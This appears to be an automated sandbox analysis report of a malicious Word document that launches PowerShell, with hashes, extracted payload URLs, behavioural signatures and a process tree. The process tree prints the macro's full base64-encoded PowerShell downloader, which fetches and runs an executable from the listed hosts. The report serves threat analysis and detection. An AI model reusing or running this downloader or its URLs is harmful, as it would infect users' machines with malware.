Analysis
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max time kernel
149s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
17-05-2024 17:41
Static task
static1
Behavioral task
behavioral1
Sample
50b03ddd9d427dd4bd675a1e9ef3f96b_JaffaCakes118.doc
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
50b03ddd9d427dd4bd675a1e9ef3f96b_JaffaCakes118.doc
Resource
win10v2004-20240508-en
General
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Target
50b03ddd9d427dd4bd675a1e9ef3f96b_JaffaCakes118.doc
-
Size
235KB
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MD5
50b03ddd9d427dd4bd675a1e9ef3f96b
-
SHA1
e9e66e092a735a5b81e317f90a0c54c31572a5de
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SHA256
2004c42b12642630ecfbb726add85ef100207f8bbf2f456b7be6d4b18b9b02d4
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SHA512
3eb234184d70c1fcce644f8973c0be955b9ef22d247ff6f5bc2b91ba1fbaeaf9626ff26be96c0f2c6e33fd67742df1bb55918a5bdfae570d3b6b5d34d3608866
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SSDEEP
3072:pXgQEjb2eWJlrqmHSrdPACn8CZ8myYvrBfiNKDzaJFUKc0UTE7yZRUV7RJeOzi8t:p377rFH9CZzyYDB6EDzYUTE7yZRVUi8t
Malware Config
Extracted
http://marcelaquilodran.com/XDyss3V
http://johnnycrap.com/gXXm0QU
http://erickogm.com/BXkXAa1
http://rmz-anticor.ru/IpeUQcngY
http://u11123p7833.web0104.zxcs.nl/j97Hkz3U
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3744 4916 PoWersheLL.exe 81 -
Blocklisted process makes network request 4 IoCs
flow pid Process 28 3744 PoWersheLL.exe 31 3744 PoWersheLL.exe 32 3744 PoWersheLL.exe 40 3744 PoWersheLL.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 4916 WINWORD.EXE 4916 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3744 PoWersheLL.exe 3744 PoWersheLL.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3744 PoWersheLL.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 4916 WINWORD.EXE 4916 WINWORD.EXE 4916 WINWORD.EXE 4916 WINWORD.EXE 4916 WINWORD.EXE 4916 WINWORD.EXE 4916 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4916 wrote to memory of 3744 4916 WINWORD.EXE 87 PID 4916 wrote to memory of 3744 4916 WINWORD.EXE 87
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\50b03ddd9d427dd4bd675a1e9ef3f96b_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4916 -
C:\Windows\System32\WindowsPowerShell\v1.0\PoWersheLL.exePoWersheLL -e JABpAGQARgBCAEkARgBTAD0AKAAnAHQARQBKAGEAJwArACcAYgBEACcAKwAnAHIANQAnACkAOwAkAGMAQgBCAHEAUABVAGMAegA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABUAFgATABmAGkAdwBXAG4APQAoACcAaAB0AHQAcAAnACsAJwA6AC8ALwBtAGEAJwArACcAcgBjAGUAJwArACcAbABhAHEAdQBpACcAKwAnAGwAbwAnACsAJwBkACcAKwAnAHIAYQAnACsAJwBuAC4AYwBvAG0AJwArACcALwBYACcAKwAnAEQAeQBzAHMAMwBWAEAAaAAnACsAJwB0AHQAcAA6AC8ALwBqAG8AaABuAG4AJwArACcAeQAnACsAJwBjACcAKwAnAHIAYQBwAC4AYwBvAG0ALwBnAFgAWABtADAAUQBVAEAAaAAnACsAJwB0AHQAJwArACcAcAA6AC8AJwArACcALwBlACcAKwAnAHIAaQBjAGsAbwBnAG0ALgBjAG8AbQAnACsAJwAvACcAKwAnAEIAJwArACcAWABrAFgAQQBhADEAQABoAHQAdABwADoAJwArACcALwAnACsAJwAvAHIAbQB6AC0AYQBuAHQAJwArACcAaQAnACsAJwBjAG8AcgAuAHIAJwArACcAdQAvACcAKwAnAEkAcABlAFUAUQBjAG4AZwAnACsAJwBZACcAKwAnAEAAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAJwA6AC8ALwB1ADEAMQAxACcAKwAnADIAMwAnACsAJwBwADcAOAAzADMALgB3ACcAKwAnAGUAJwArACcAYgAwACcAKwAnADEAJwArACcAMAA0AC4AegB4AGMAJwArACcAcwAnACsAJwAuAG4AbAAvAGoAOQA3AEgAawAnACsAJwB6ADMAJwArACcAVQAnACkALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABBAEsARgBhAFYAQgA9ACgAJwBsACcAKwAnAFYAegByAEYAOQAnACkAOwAkAGkAZgB3AHcATgBjAGoAIAA9ACAAKAAnADQAJwArACcAMAA1ACcAKQA7ACQARAAzAFcATwAyADYAPQAoACcAdwBjAEsARABzAEcAJwArACcAUwAnACkAOwAkAEgANQBmAFUASwBVAFoAWAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAGkAZgB3AHcATgBjAGoAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABhAEoAQwBKAGwARgA1ACAAaQBuACAAJABUAFgATABmAGkAdwBXAG4AKQB7AHQAcgB5AHsAJABjAEIAQgBxAFAAVQBjAHoALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAYQBKAEMASgBsAEYANQAsACAAJABIADUAZgBVAEsAVQBaAFgAKQA7ACQARgBVAGYARAB0AEEAMwA9ACgAJwBDAEoAJwArACcASwAwAEwAQgBCACcAKQA7AEkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEgANQBmAFUASwBVAFoAWAApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADQAMAAwADAAMAApACAAewBJAG4AdgBvAGsAZQAtAEkAdABlAG0AIAAkAEgANQBmAFUASwBVAFoAWAA7ACQAQgBpAHcASgBPAG4ANQA9ACgAJwBFADAAQQBPACcAKwAnAGoARwBsACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJAB2AE0AVQAzAGkATgA9ACgAJwBQAFYANwBSAEkAQwAnACsAJwA2ACcAKwAnAGQAJwApADsA2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3744
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
229KB
MD5ee44c56e048d72f88aced90e78714ba1
SHA1339d0db77d0f836aa4bc32e41f6b0e802b2a01ed
SHA2565ff058bede92abf5a17dc3c7b1bb1597e3276327def9bdb23350cd1df3e5a287
SHA5124a9bde1e070c5e52d321e4030a4a6000b5b1e02fbcc416027044042fa8c0404774e9c2aa42b36072fc58b61b9777778337534fb2a36d4db84f7d45ce2a76ba7e
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Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82